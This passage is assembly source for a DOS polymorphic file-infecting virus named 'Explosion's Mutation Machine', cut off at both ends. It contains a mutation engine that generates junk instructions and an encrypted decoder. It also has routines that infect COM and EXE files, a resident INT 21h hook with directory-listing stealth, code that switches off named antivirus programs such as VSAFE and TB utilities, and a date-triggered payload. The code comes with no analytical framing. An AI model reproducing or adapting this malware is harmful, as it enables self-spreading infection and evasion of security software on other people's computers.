X,X mt6: mov al,00110010b jmp short com67 ;generating of sub X,X mt7: mov al,00101010b com67: mov ah,11000000b call gregl or ah,dl call getaddr or [si],ch ;reg is set to zero and has valid value mov word ptr ds:(offset gl102),0c032h jmp short pcpm67 ;******************** general part for OR, AND, ... ************************ perform_oper_l2: mov al,fw add byte ptr ds:(offset gl102),al call rfreg mov bp,word ptr rflag+1 push bp popf sti cld gl102: or al,bl pushf pop bp mov word ptr rflag+1,bp jmp wtreg perform_oper_l1: call perform_oper_l2 or rflag,1 retn chtab01 db 45 dw offset ot1 db 45 dw offset ot2 db 10 dw offset ot3 db 0ffh ggen2: lodsb mov ah,0c3h mov word ptr ds:(offset gl102),ax lodsb mov byte ptr ds:(offset gl104+1),al lodsb mov ah,11000000b mov word ptr ds:(offset gl105+1),ax lodsw mov word ptr ds:(offset gl106+1),ax mov si,offset chtab01 jmp choose ;generating of ins a?,imm ot3: xor dx,dx call getaddr lodsb and al,03h cmp al,03h je ot3obn cmp al,ch jne ot1 ot3obn: push dx gl104: mov al,00001100b or al,fw stosb jmp short tozti ;generating of ins reg,reg ot2: call gregp jc wdort1 call rfreg xchg bx,ax gl105: mov ax,1100000000001010b or ah,dl call gregls jc wdort1 pcpm67: call shl3fw stosw jmp perform_oper_l1 ;generating of ins reg,imm ot1: call gregls jc wdort1 push dx gl106: mov ax,1100100010000000b or al,fw or ah,dl stosw tozti: xor dx,dx call rnd_get mov bx,dx pop dx call perform_oper_l1 xchg ax,bx cmp fw,0 je bort1 stosw jmp wdort1 bort1: stosb wdort1: retn ;*********************** generating of OR *************************** orrdat db 0ah ;oper AL,BL ... inc ... oper AX,BX db 00001100b ;oper a?,imm db 00001010b ;oper reg,reg dw 1100100010000000b ;oper reg,imm gorr: mov si,offset orrdat pgen21: jmp ggen2 ;*********************** generating of AND *************************** andrdat db 22h ;oper AL,BL ... inc ... oper AX,BX db 00100100b ;oper a?,imm db 00100010b ;oper reg,reg dw 1110000010000000b ;oper reg,imm gandr: mov si,offset andrdat jmp pgen21 ;*********************** generating of XOR *************************** xorrdat db 32h ;oper AL,BL ... inc ... oper AX,BX db 00110100b ;oper a?,imm db 00110010b ;oper reg,reg dw 1111000010000000b ;oper reg,imm gxorr: mov si,offset xorrdat pggen2: jmp pgen21 ;*********************** generating of TEST ************************** testrdt db 84h ;oper AL,BL ... inc ... oper AX,BX db 10101000b ;oper a?,imm db 10000100b ;oper reg,reg dw 1100000011110110b ;oper reg,imm gtestr: mov si,offset testrdt ggen3: mov byte ptr ds:(offset gl108+1),00h ;target register can be any register set to proper value call ggen2 mov byte ptr ds:(offset gl108+1),04h ;restore retn ;*********************** generating of CMP *************************** cmprdat db 3ah ;oper AL,BL ... inc ... oper AX,BX db 00111100b ;oper a?,imm db 00111010b ;oper reg,reg dw 1111100010000000b ;oper reg,imm gcmpr: mov si,offset cmprdat jmp ggen3 ;*********************** generating of ADD *************************** addrdat db 02h ;oper AL,BL ... inc ... oper AX,BX db 00000100b ;oper a?,imm db 00000010b ;oper reg,reg dw 1100000010000000b ;oper reg,imm gaddr: mov si,offset addrdat jmp pggen2 ;*********************** generating of SUB *************************** subrdat db 2ah ;oper AL,BL ... inc ... oper AX,BX db 00101100b ;oper a?,imm db 00101010b ;oper reg,reg dw 1110100010000000b ;oper reg,imm gsubr: mov si,offset subrdat jmp pggen2 ;*********************** generating of ADC *************************** adcrdat db 12h ;oper AL,BL ... inc ... oper AX,BX db 00010100b ;oper a?,imm db 00010010b ;oper reg,reg dw 1101000010000000b ;oper reg,imm gadcr: mov si,offset adcrdat ggen4: test rflag,1 jnz pggen2 gg10err: retn ;*********************** generating of SBB *************************** sbbrdat db 1ah ;oper AL,BL ... inc ... oper AX,BX db 00011100b ;oper a?,imm db 00011010b ;oper reg,reg dw 1101100010000000b ;oper reg,imm gsbbr: mov si,offset sbbrdat jmp ggen4 ;***************** general part for INC,DEC,... ****************** chtab03 db 1 dw offset inct2 chtab04 db 1 dw offset inct1 db 0ffh ggen11: lodsw mov word ptr ds:(offset gl102),ax lodsw mov word ptr ds:(offset gl201+1),ax lodsb mov byte ptr ds:(offset gl202+1),al gl203: mov si,offset chtab03 jmp choose ;generating of ins reg8 or ins reg16 (2 bytes) inct1: call gregls jc gg10err gl201: mov ax,1100000011111110b ggen21: or al,fw or ah,dl stosw jmp perform_oper_l2 ;generating of ins reg16 (1 byte) inct2: mov fw,1 call gregls jc gg10err gl202: mov al,01000000b or al,dl stosb jmp perform_oper_l2 ;*********************** generating of INC *************************** incrdat dw 0c0feh ;operation dw 1100000011111110b ;2 bytes db 01000000b ;1 byte gincr: mov si,offset incrdat jmp ggen11 ;*********************** generating of DEC *************************** decrdat dw 0c8feh ;operation dw 1100100011111110b ;2 bytes db 01001000b ;1 byte gdecr: mov si,offset decrdat jmp ggen11 ;*********************** generating of NEG *************************** negrdat dw 0d8f6h ;operation dw 1101100011110110b ;2 bytes gnegr: mov si,offset negrdat push di call ggen12 pop ax cmp di,ax ;if no operation performed then no flags set jna inegbv or rflag,1 inegbv: retn ;*********************** generating of NOT *************************** notrdat dw 0d0f6h ;operation dw 1101000011110110b ;2 bytes gnotr: mov si,offset notrdat ggen12: mov word ptr ds:(offset gl203+1),offset chtab04 call ggen11 mov word ptr ds:(offset gl203+1),offset chtab03 xt1err: retn ;*********************** generating of XCHG ************************** chtab05 db 1 dw offset xchgt1 db 1 dw offset xchgt2 db 0ffh gxchgr: mov si,offset chtab05 jmp choose ;generating of xchg reg,reg (2 bytes) xchgt1: call gregls ;source operand jc xt1err call rfreg xchg bx,ax mov ax,1100000010000110b or ah,dl mov bp,dx call gregls ;target operand cmp bp,dx je xt1err push bp call shl3fw stosw gl301: call rfreg xchg ax,bx call wtreg pop dx xchg ax,bx jmp wtreg ;generating of xchg ax,reg (1 byte) xchgt2: mov fw,1 call gregls jc xt1err cmp rax,03h jne xt1err call rfreg xchg bx,ax mov al,10010000b or al,dl push dx xor dx,dx ;target operand stosb jmp gl301 ;***************** general part for SHL,SHR,... ****************** ggen20: mov al,11010000b test rcx,1 ;valid value in cl ? jz rbsh1 mov dx,2 call rnd_get ;shl ,cl or shl ,1 ? shl dl,1 or al,dl mov cl,rcx+1 rbsh1: mov word ptr ds:(offset gl102),ax call gregls jc gg20err and rflag,0feh ;flags not defined jmp ggen21 ;********************* generating of SHL,SAL ************************* gshlr: mov ah,11100000b jmp ggen20 ;*********************** generating of SHR *************************** gshrr: mov ah,11101000b jmp ggen20 ;*********************** generating of SAR *************************** gsarr: mov ah,11111000b jmp ggen20 ;*********************** generating of ROL *************************** grolr: mov ah,11000000b jmp ggen20 ;*********************** generating of ROR *************************** grorr: mov ah,11001000b jmp ggen20 ;*********************** generating of RCL *************************** grclr: mov ah,11010000b ggen22: test rflag,1 jz gg20err jmp ggen20 gg20err: retn ;*********************** generating of RCR *************************** grcrr: mov ah,11011000b jmp ggen22 ;*********************** generating of PUSH ************************** chtab06 db 15 dw offset gpt1 db 3 dw offset gpt2 db 1 dw offset gpt3 db 0ffh gpushr: cmp ssp,0 je gg20err ;emulated stack full mov si,offset chtab06 gl410: mov fw,1 jmp choose ;type: push reg gpt1: call gregl ;can push any reg (except sp) mov al,01010000b or al,dl stosb call getaddr lodsb xchg cx,ax call rfreg ;-------- simulation of PUSH -------- spush: sub ssp,3 sub word ptr rsp+1,2 mov si,ssp mov byte ptr [si+offset sstack],cl mov word ptr [si+offset sstack+1],ax retn ;type: push sreg gpt2: mov dx,00100000b call rnd_get xchg ax,dx or al,00000110b and al,11111110b gl409: stosb xor cl,cl cmp al,00000110b jne spush mov ax,word ptr res+1 mov cl,res ;if it is es jmp spush ;type: pushf gpt3: mov al,10011100b jmp gl409 ;*********************** generating of POP *************************** chtab07 db 15 dw offset gpot1 db 2 dw offset gpot2 db 1 dw offset gpot3 db 3 dw offset gpot4 db 0ffh gpopr: cmp ssp,DEPTH je gg20err ;emulated stack is empty mov si,offset chtab07 jmp gl410 ;type: pop reg gpot1: call gregl ;can pop any reg (except sp) mov al,01011000b or al,dl stosb call spop call getaddr mov byte ptr [si],cl call wtreg retn ;-------- simulation of POP -------- spop: mov si,ssp mov cl,byte ptr [si+offset sstack] mov ax,word ptr [si+offset sstack+1] add ssp,3 add word ptr rsp+1,2 retn ;type: pop es gpot2: mov al,00000111b stosb call spop mov res,cl mov word ptr res+1,ax chpote: retn ;type: pop ds gpot3: test res+3,1 jnz chpote ;if ds set to cs do nothing mov al,00011111b stosb jmp spop ;type: push cs,pop ds gpot4: test res+3,1 jnz chpote mov ax,0001111100001110b stosw or res+3,1 ;note that ds is set retn ;********************* generating of jumps ************************** MAXJMP=20 gbytes: push ax push cx push dx mov cx,dx jcxz gbsdda gbdb: xor dx,dx call rnd_get xchg ax,dx stosb loop gbdb gbsdda: pop dx pop cx pop ax retn takeb: call rnd_get add si,dx lodsb retn NOJCON=17 jcontab db 01110111b ;ja/jnbe db 01110011b ;jae/jnb/jnc db 01110010b ;jb/jnae/jc db 01110110b ;jbe/jna db 01110100b ;je/jz db 01111111b ;jg/jnle db 01111101b ;jge/jnl db 01111100b ;jl/jnge db 01111110b ;jle/jng db 11101011b ;jmp db 01110101b ;jne/jnz db 01110001b ;jno db 01111011b ;jnp/jpo db 01111001b ;jns db 01110000b ;jo db 01111010b ;jp/jpe db 01111000b ;js jcxdtab db 11100011b ;jcxz db 11100010b ;loop db 11100001b ;loope/loopz db 11100000b ;loopne/loopnz chtab09 db 24 dw offset gjcon db 5 dw offset gjcxd db 1 dw offset gjmpn db 3 dw offset gcall db 0ffh gjmp: mov si,offset chtab09 jmp choose ;generating of jx gjcon: test rflag,1 jz g40err mov si,offset jcontab mov dx,NOJCON ggen41: call takeb stosb mov byte ptr ds:(offset gl501),al mov cx,word ptr rcx+1 mov bp,word ptr rflag+1 push bp popf ;##### ;to run on 486 supply this: ; jmp $+2 ;##### gl501: jmp short gl502 xor dx,dx call rnd_get xchg ax,dx stosb jmp short g40mcx gl502: mov dx,MAXJMP ;max no of bytes to jump over call rnd_get mov al,dl stosb call gbytes g40mcx: mov word ptr rcx+1,cx g40err: retn ;generating of jcxz,loopx gjcxd: cmp rcx,3 jne g40err mov si,offset jcxdtab mov dx,2 test rflag,1 jz ggen41 mov dx,4 jmp ggen41 ;generating of jmp near gjmpn: mov al,11101001b stosb mov dx,MAXJMP call rnd_get mov ax,dx stosw jmp gbytes ;generating of call X gcall: test byte ptr eflag,4 jz g40err ;can't generate call if no retn before mov al,11101000b stosb mov ax,retnaddr dec ax dec ax sub ax,di stosw retn ;****************** generating of sti,cli,std,cld ********************** sacftb label byte sti cli std cld gsacf: mov si,offset sacftb mov dx,4 call takeb stosb retn ;********************* generating of mem. ins. ************************* chtab10 db 4 dw offset pissi db 4 dw offset pisdi db 4 dw offset pisbx db 1 dw offset pisbr db 0ffh g2ndb: mov si,offset chtab10 jmp choose pissi: mov bp,word ptr rsi+1 mov ah,10000100b cmp rsi,3 je chenbr pisdi: mov bp,word ptr rdi+1 mov ah,10000101b cmp rdi,3 je chenbr pisbx: mov bp,word ptr rbx+1 mov ah,10000111b cmp rbx,3 je chenbr pisbr: xor bp,bp mov ah,00000110b chenbr: retn insertcs: test res+3,1 ;ds set to cs ? jnz jtdss mov byte ptr [di],2eh ;insert cs: prefix inc di jtdss: retn ggen60: call gregp jc gmerr push ax call rfreg or al,al pop ax jz gmerr ;to avoid operation with 0 call shl3dl ggen61: or al,fw call insertcs stosw mov si,ptei mov word ptr [si],ax call rfreg mov word ptr [si+4],ax mov dx,LENDEC sub dl,fw ;to enable proper rotation call rnd_get mov word ptr [si+2],dx add ptei,6 mov ax,sodec add ax,dx sub ax,bp stosw and rflag,0feh ;flags modified gmerr: retn chtb20o db 6,8,8,2,2 ;starting probabilities for memory-modifying instructions chtab20 db ? dw offset gxorp db ? dw offset gaddp db ? dw offset gsubp db ? dw offset grolp db ? dw offset grorp db 0ffh gmutp: cmp ptei,offset eei jnb gmerr call g2ndb mov si,offset chtab20 jmp choose gxorp: mov al,00110000b jmp ggen60 gaddp: mov al,00000000b jmp ggen60 gsubp: mov al,00101000b jmp ggen60 grolp: mov al,11010000b mov dx,4 call rnd_get or dx,dx jz zbclns test rcx,1 ;cl set ? jz zbclns cmp rcx+1,0 je zbclns ;does not generate rotation ,cl if cl=0 or al,00000010b zbclns: mov dx,1 ;address for emulated cx jmp ggen61 grorp: or ah,00001000b jmp grolp ;********************* generating of mem. mov ************************** chtab30 db 5 dw offset pmvt1 db 1 dw offset pmvt2 db 0ffh gmovp: call g2ndb mov si,offset chtab30 jmp choose ;type: mov reg,mem pmvt1: call gregl mov al,10001010b call shl3fw push dx call insertcs stosw mov dx,di sub dx,offset hbuf+1 call rnd_get ;in dx offset within header buffer mov ax,rel add ax,dx sub ax,bp stosw xchg ax,dx pop dx call getaddr or [si],ch ;reg value is valid mov si,offset hbuf add si,ax lodsw jmp wtreg ;read byte and write to reg ;type: mov mem,reg pmvt2: call gregp jc pmverr mov al,10001000b call shl3fw call insertcs stosw mov dx,LENOVER-1 call rnd_get ;in dx offset within overwritable bytes mov ax,gba add ax,dx sub ax,bp stosw pmverr: retn chtabgl db 13 dw offset gjmp db 32 dw offset gmutp db 17 dw offset gmovp chtabg1 db 70 dw offset gmovr db 1 dw offset gsacf db 16 dw offset gpushr db 16 dw offset gpopr db 4 dw offset gshlr db 4 dw offset gshrr db 2 dw offset gsarr db 2 dw offset grolr db 2 dw offset grorr db 2 dw offset grclr db 2 dw offset grcrr db 7 dw offset gorr db 7 dw offset gandr db 4 dw offset gxorr db 4 dw offset gtestr db 9 dw offset gaddr db 9 dw offset gsubr db 2 dw offset gadcr db 2 dw offset gsbbr db 4 dw offset gcmpr db 4 dw offset gincr db 4 dw offset gdecr db 4 dw offset gxchgr db 2 dw offset gnegr db 2 dw offset gnotr db 0ffh EMM: cld mov cx,10 mov di,offset registers xor ax,ax li1: stosb ;initialize variables add di,3 loop li1 xchg bx,ax ;bx=0 mov al,eflag and al,01h mov res+3,al ;if al=1 ds is set, if al=0 ds is not set mov al,04h test byte ptr eflag,2 jz nsspj or al,03h nsspj: or rsp,al ;don't change sp , known value of sp on input mov ssp,DEPTH ;initialize ssp mov ptei,offset ei ;initialize ptei neprkm: mov cx,5 mov si,offset chtb20o mov di,offset chtab20 sprpm: lodsb cbw xchg dx,ax call rnd_get xchg ax,dx add bx,ax stosb inc di inc di loop sprpm ;setting of probabilities for memory-modifying instructions or bx,bx jz neprkm ;not accepted setting of the probabilities mov di,offset hbuf mov ax,-1 push ax test byte ptr eflag,4 ;generate intro garbage bytes ? jz ngenuv pop ax MAXINTRO=100 mov dx,MAXINTRO-1 call rnd_get inc dx ;in dx length of intro in bytes push dx push dx call rnd_get call gbytes ;write down random bytes mov retnaddr,di ;address of retn instruction mov al,11000011b stosb ;write retn pop ax sub ax,dx xchg dx,ax call gbytes ;random bytes ngenuv: mov ax,di sub ax,offset hbuf add ax,rel mov hip,ax ;ip value for the file MINHDR=400 ;minimal header length mov dx,LENHBUF-LENDEC-MINHDR+1 pop ax ;in ax length of intro-1 sub dx,ax call rnd_get add dx,ax add dx,MINHDR ;in dx start of decoder ;relatively to start of hbuf, i.e. header length mov hend,dx add hend,offset hbuf ;relocation relat. to start of buffer add dx,rel mov sodec,dx ;start of decoder within the file mov word ptr ds:(offset chchtb+1),offset chtabgl ;use all instructions mov byte ptr ds:(offset sj1+1),0 ;setting of the switched jump next_inst: push di mov dx,3 call rnd_get or dl,dl jz ginsh mov dl,1 ginsh: mov fw,dl ;byte or word inst. chchtb: mov si,offset chtabgl call choose ;generating of inst. pop ax sj1: jmp short gc1 gc1: push di ;##### ;to run on 486 change the following instruction ;which goes: add di,MAXJMP+3-1 ;into: add di,40 ;prefetch queue is 32B for 486 ;##### add di,MAXJMP+3-1 cmp di,hend pop di jb next_inst mov word ptr ds:(offset chchtb+1),offset chtabg1 ;do not generate mem-modifying ins. mov byte ptr ds:(offset sj1+1),offset gc2-offset gc1 ;switch of jump jmp next_inst gc2: cmp di,hend jb next_inst xchg di,ax jne next_inst ;if not end of header then repeat xchg di,ax mov bx,di mov ax,offset stsub+(hbuf-start_virus)-LENVIR-(dcjmp-sdec)-2 sub ax,di mov dcjmp,ax ;setting the jump in decoder mov si,offset sdec mov cx,LENDEC rep movsb ;copy decoder behind header mov si,ptei udzd: cmp si,offset ei jna vsmu sub si,6 ;reading of mem-modif. inst. in reverse order mov al,byte ptr [si] mov dl,al and dl,11111100b cmp dl,00000000b jne zop1 or al,00101000b zop1: cmp dl,00101000b jne zop2 and al,00000011b zop2: mov ah,10001111b and word ptr [si],0011100011111100b cmp word ptr [si],0000100011010000b jne njtsp and ah,11000111b ;xchange ADD for SUB, ROL for ROR and vice versa njtsp: mov word ptr ds:(offset vari),ax mov dx,word ptr [si+2] mov word ptr ds:(offset vari+2),dx mov cx,word ptr [si+4] jmp $+2 vari: xor [bx+1234h],cx ;perform reverse operation on decoder jmp udzd vsmu: retn ;******************* decoder **************** sdec: sti push cs pop ds dcmsi: mov si,1234h dcmax: mov ax,1234h mov cx,(LENVIR-1)/2+1 dp2: xor [si],ax jmp short dcaax1 dcaax2: add ax,1234h inc si loop dp2 db 0e9h dcjmp dw ? dcaax1: add ax,1234h inc si xor [si],ax jmp dcaax2 edec label near ;******************** Explosion's Mutation Machine ******************** ;*************** copied routines ************** zencode: mov cx,LENVIR xor dx,dx ;offset start_virus call zzp1 mov ah,40h mov bx,handle pushf db 9ah dd ? ;call ds:oriv21 jc zec1 cmp ax,cx zec1: pushf call zzp1 popf retn zzp1: push cx mov si,dx zecmax: mov ax,1234h mov cx,(LENVIR-1)/2+1 zzp2: xor [si],ax zecaax1: add ax,1234h inc si xor [si],ax zecaax2: add ax,1234h inc si loop zzp2 pop cx retn zres24: mov al,03h iret zenden label near ;************** routines for res. part ************* set_on_24: push dx push ds push cs pop ds mov ax,3524h call int21 mov seg24,es mov off24,bx mov ax,2524h mov dx,offset res24 call int21 pop ds pop dx retn set_off_24: mov ax,2524h lds dx,dword ptr cs:off24 call int21 retn identify: ;is file infected ? push dx mov ax,es:[bx+2] inc ax xor dx,dx div cs:v30 mov ax,es:[bx] and al,11111b cmp al,dl stc je iekon ;already infected mov ax,es:[bx] and ax,0ffe0h or al,dl clc iekon: pop dx retn ;*********** infect EXE,COM *********** write_file: mov ah,40h jmp short s1 read_file: mov ah,3fh s1: call s2 jc s3 cmp ax,cx s3: retn start_file: xor cx,cx mov dx,cx pos_start: mov ax,4200h jmp short s2 end_file: xor cx,cx mov dx,cx pos_end: mov ax,4202h mhandle: s2: mov bx,cs:handle int21: pushf cli call cs:oriv21 retn infect: mov ax,5700h call mhandle mov bx,offset ftime mov [bx],cx mov [bx+2],dx ;read in time and date of last write call identify jnc ienjnp igbck: retn ienjnp: xor dx,dx call rnd_get mov word ptr ds:(offset dcmax+1),dx mov word ptr ds:(offset ecmax+1),dx xor dx,dx call rnd_get mov word ptr ds:(offset dcaax1+1),dx mov word ptr ds:(offset ecaax1+1),dx xor dx,dx call rnd_get mov word ptr ds:(offset dcaax2+1),dx mov word ptr ds:(offset ecaax2+1),dx ;values for encoding call start_file mov cx,18h mov dx,offset header call read_file pigbck: jc igbck mov si,dx mov di,offset bheader rep movsb push dx call end_file mov lenlo,ax mov lenhi,dx mov si,ax mov di,dx pop bx cmp [bx].id,'MZ' je iEXE1 cmp [bx].id,'ZM' je iEXE1 mov bheader.flag,0 ;0 means COM cmp ax,65535-(EXTENTION+DEPSTACK) ;much too long ? ja igbck mov bheader.min,0000h ;min. memory is 0 jmp short iCOM1 iEXE1: mov bheader.flag,1 mov ax,[bx].pages mul v512 sub ax,si sbb dx,di jc pigbck ;overlay detected mov ax,si mov dx,di add ax,EXTENTION adc dx,0 div v512 or dx,dx jz spcp1 ;special case is that dx=0 inc ax spcp1: mov [bx].pages,ax mov [bx].lpage,dx ;setting pages and bytes in last page iCOM1: and si,0fff0h add si,16 adc di,0 mov dx,si mov cx,di push bx call pos_start ;allignment to the multiply of 16 pop bx cmp bheader.flag,0 jne iEXE2 mov byte ptr [bx],0e9h ;getting ready for jump add ax,100h mov gba,ax add ax,LENVIR mov rel,ax mov eflag,001b ;setting parameters for EMM jmp short iCOM2 iEXE2: mov ax,[bx].parps mul v16 sub si,ax sbb di,dx mov ax,si mov dx,di div v16 mov [bx].vCS,ax mov bheader.id,ax ;store org cs mov ax,[bx].vSS mul v16 mov cx,[bx].vSP add ax,cx adc dx,0 sub ax,si sbb dx,di jc zjvs sub ax,DEPSTACK sbb dx,0 jc pikon1 add [bx].vSS,(EXTENTION-1)/16 zjvs: mov rel,LENVIR mov gba,0 mov word ptr rsp+1,cx mov eflag,010b ;setting parameters for EMM iCOM2: mov ax,gba mov word ptr ds:(offset dcmsi+1),ax ;start for decoder mov word ptr ds:(offset stsub+1),ax ;for proper relocation mov dx,6 call rnd_get or dx,dx jz nguv or eflag,100b ;generates intro with probability 5 : 1 nguv: call EMM call encode jc pikon1 mov ax,hip cmp bheader.flag,0 jne iEXE3 sub ax,103h mov word ptr ds:(offset header+1),ax ;setting jump in com jmp short iCOM3 iEXE3: mov header.vIP,ax ;write down ip iCOM3: mov cx,di mov dx,offset hbuf sub cx,dx call write_file pikon1: jc ikon call start_file mov cx,18h mov dx,offset header call write_file jc ikon add lenlo,EXTENTION adc lenhi,0 ;change length mov dx,25 call rnd_get ;with probability 1 : 25 does not mark or dx,dx jz ikon mov bx,offset ftime call identify mov [bx],ax ;mark file ikon: mov dx,lenlo mov cx,lenhi call pos_start xor cx,cx call write_file ;allignment to constant length increase mov ax,5701h mov cx,ftime mov dx,fdate call mhandle ;setting time and date retn sublen: sub word ptr es:[bx],EXTENTION sbb word ptr es:[bx+2],0 jnc npretn add word ptr es:[bx],EXTENTION adc word ptr es:[bx+2],0 npretn: retn NOUNF=14 ;number of unfriendly programms titstr db 3,'COM',3,'EXE' titstr1 db 4,'SCAN',7,'VSHIELD',5,'CLEAN',8,'FINDVIRU',5,'GUARD' db 8,'VIVERIFY',2,'TB',2,'-V',7,'VIRSTOP',3,'NOD',4,'HIEW' db 5,'PASCA',7,'NETENVI',6,'F-PROT',6,'CHKDSK' check: push bx push cx push si push di push ds push es push ax mov si,dx mov bx,si xor di,di mov cx,LENFNB ol1: lodsb cmp al,'\' je stfn cmp al,'/' je stfn cmp al,':' jne nstfn stfn: mov bx,si nstfn: cmp al,'.' jne itnb1 mov di,si itnb1: or al,al jz whname loop ol1 jmp short oinok whname: cmp di,bx jbe oinok mov si,di mov di,offset titstr push cs pop es call compare je porok call compare jne oinok ;COM or EXE ? porok: mov cl,NOUNF+1 mov si,bx mov di,offset titstr1 ol2: push cx call compare pop cx je fkrpg loop ol2 ;check for unfriendly progs oiok: clc okon: pop ax pop es pop ds pop di pop si pop cx pop bx retn fkrpg: cmp cx,2 ja nvpst ;if F-PROT or CHKDSK switch off stealth pop ax push ax cmp ah,4bh ;execute ? jne nvpst mov byte ptr cs:(offset rpps1+1),offset ndnxt-offset con1 nvpst: cmp cx,1 je oiok ;can infect CHKDSK oinok: stc jmp okon compare: push si mov cl,byte ptr es:[di] inc di mov ax,di add ax,cx push ax popdp: lodsb cmp al,'a' jb ponmp cmp al,'z' ja ponmp sub al,('a'-'A') ponmp: scasb loope popdp pop di pop si retn ;************** 21h handler ************* infname: ;in ds:dx is file name push ax push bx push cx push si push di push bp push ds push es call eliminate_av call set_on_24 mov ax,4300h call int21 mov cs:attrib,cx mov ax,4301h xor cx,cx call int21 jc errnd_l1 mov ax,3d02h call int21 jc errnd_l2 push dx push ds push cs pop ds push cs pop es mov handle,ax call infect mov ah,3eh call mhandle pop ds pop dx errnd_l2: mov ax,4301h db 0b9h attrib dw ? ;mov cx,attrib call int21 errnd_l1: call set_off_24 pop es pop ds pop bp pop di pop si pop cx pop bx pop ax retn res21: sti rpps1: jmp short con1 ;switched jump for switching off stealth con1: cmp ah,11h je dtrad cmp ah,12h jne dnxt dtrad: push bx push es push ax mov ah,2fh call int21 pop ax call int21 cmp al,0ffh je dterr push ax cmp byte ptr es:[bx],0ffh jne nexp add bx,7 nexp: add bx,17h call identify pop ax jnc dterr add bx,1dh-17h call sublen dterr: pop es pop bx iret dnxt: cmp ah,4eh je dffh cmp ah,4fh jne ndnxt dffh: push bx push es push ax mov ah,2fh call int21 pop ax call int21 jc ret21 push ax add bx,16h call identify pop ax jnc ret21_stc add bx,1ah-16h call sublen ret21_stc: clc ret21: pop es pop bx rf2: push ax push bp mov bp,sp lahf mov [bp+08h],ah pop bp pop ax iret ndnxt: cmp ah,31h je trmsr cmp ah,4ch jne nkprg mov byte ptr cs:(offset rpps1+1),0 trmsr: call eliminate_av nkprg: cld push dx cmp ax,4b00h je infac cmp ax,6c00h jne nxts test dl,00010010b mov dx,si jnz saveh nxts: cmp ah,3ch je saveh cmp ah,5bh je saveh cmp ah,3eh jne jornd_l21 cmp bx,cs:chandle jne jornd_l21 or bx,bx jz jornd_l21 mov cs:chandle,0 call int21 jc pdxrf2 push ds push cs pop ds mov dx,offset fname call infname pop ds miretc: clc pdxrf2: pop dx jmp rf2 jornd_l21: pop dx cli jmp cs:oriv21 infac: call check jc jornd_l21 call infname jmp short jornd_l21 saveh: cmp cs:chandle,0 jne jornd_l21 call check jc jornd_l21 mov cs:rhdx,dx pop dx push dx call int21 db 0bah rhdx dw ? ;mov dx,rhdx jc pdxrf2 push cx push si push di push es mov si,dx mov di,offset chandle push cs pop es stosw mov cx,LENFNB rep movsb pop es pop di pop si pop cx jmp short miretc NUMTBN=4 tbname db 'TBMEMXXX','TBCHKXXX','TBDSKXXX','TBFILXXX' eliminate_av: push ax push dx push ds mov ah,0ffh xor bl,bl int 13h ;eliminates NOHARD mov ah,0feh int 13h ;eliminates NOFLOPPY mov ax,0fa02h mov dx,5945h mov bl,31h int 16h ;eliminates VSAFE push cs pop ds mov ah,52h int 21h les bx,es:[bx+22h] next_device: mov si,offset tbname-8 mov cx,NUMTBN next_tb_utility: push cx add si,8 lea di,[bx+0ah] mov cx,4 push si repe cmpsw pop si pop cx loopne next_tb_utility jne not_tb_utility or byte ptr es:[0016h],01h ;eliminates TB-utility not_tb_utility: les bx,es:[bx] cmp bx,0ffffh jne next_device pop ds pop dx pop ax retn owname db 'COMMAND',00h stsub: mov ax,0000h mov cl,4 shr ax,cl mov dx,cs add ax,dx push ax mov ax,offset mdcs push ax retf ;relocation cs:ip mdcs: cld push cs pop ds mov ax,DEPTH sub ax,ssp dec cx div cl ;al=ax/3 shl ax,1 ;ax=ax*2/3 add sp,ax ;sp to orig. value ;**************** action ***************** mov cl,ORDER mov ax,counter div cl or ah,ah jnz nap mov ah,2ah int 21h cmp dl,7 jne nap mov ah,09h mov dx,offset mess1 int 21h mov dx,3cch in al,dx and al,11111101b mov dl,0c2h out dx,al mov ah,4ch int 21h nap: call eliminate_av ;eliminates AVIR mov ah,62h int 21h ;in bx PSP push bx xor ax,ax mov ds,ax mov ds,word ptr ds:(offset MEMPOS+3) cmp word ptr owname,'OC' je pinchb ;already res ;**************** instalation into memory ****************** xchg ax,bx dec ax mov ds,ax add ax,ds:[03h] sub ax,((end_res-start_virus)-1)/16+2-1 ;segment for virus is in ax mov dx,cs add dx,(LENVIR-1)/16+1 ;end of virus code cmp ax,dx jb tranw mov dx,cs add dx,cs:bheader.min ;min memory req. cmp ax,dx jb tranw mov dx,ss mov si,sp inc si mov cl,4 shr si,cl inc si add dx,si ;end of stack cmp ax,dx jnb intdp tranw: mov ah,48h mov bx,0ffffh int 21h cmp bx,((end_res-start_virus)-1)/16+2 jnb dbjdv pinchb: jmp inchb dbjdv: mov ah,48h int 21h dec ax mov ds,ax mov word ptr ds:[01h],0000h add ax,ds:[03h] sub ax,((end_res-start_virus)-1)/16+2-1 ;segment for virus is in ax intdp: mov dl,byte ptr ds:[00h] mov byte ptr ds:[00h],'M' sub word ptr ds:[03h],((end_res-start_virus)-1)/16+2 mov ds:[12h],ax mov ds,ax mov byte ptr ds:[00h],dl inc ax mov word ptr ds:[01h],ax mov word ptr ds:[03h],((end_res-start_virus)-1)/16+1 push ds pop es push cs pop ds inc counter ;generation mov si,offset owname mov di,08h movsw movsw movsw movsw ;name of owner mov es,ax xor si,si mov di,si mov cx,LENVIR rep movsb ;copying of body mov si,offset zencode mov cx,(zenden-zencode) rep movsb ;copying of necessay routines xor ax,ax mov es:chandle,ax ;initialisation of variable mov ds,ax mov ax,ds:046ch mov es:rnd1,ax mov ax,ds:046eh mov es:rnd2,ax ;initialisation rnd_get mov byte ptr ds:(offset MEMPOS),0eah mov word ptr ds:(offset MEMPOS+1),offset res21 mov word ptr ds:(offset MEMPOS+3),es cli mov ax,ds:(4*21h) mov word ptr es:oriv21,ax mov ax,ds:(4*21h+2) mov word ptr es:(oriv21+2),ax mov word ptr ds:(4*21h),MEMPOS mov ds:(4*21h+2),ds sti inchb: pop bx push cs pop ds mov es,bx mov si,offset bheader cmp [si].flag,0 jne zuEXE mov di,100h mov [si].vIP,di mov [si].vCS,bx movsb movsw jmp short zuCOM zuEXE: mov ax,cs sub ax,[si].id ;sub cs from exe header (infected) add [si].vCS,ax add ax,[si].vSS mov ss,ax zuCOM: mov ds,bx xor ax,ax jmp dword ptr cs:bheader.vIP counter dw 1250 mess1 db 0dh,0ah,'Welcome to the Explosion''s Mutation Machine !',0dh,0ah db 'Dis is level 3.',0dh,0ah,'$' end_virus label near ;************************ copied routines and heap *********************** encode: mov cx,LENVIR xor dx,dx ;offset start_virus call zp1 mov ah,40h mov bx,handle pushf db 9ah ;call oriv21 oriv21 dd ? jc ec1 cmp ax,cx ec1: pushf call zp1 popf retn zp1: push cx mov si,dx ecmax: mov 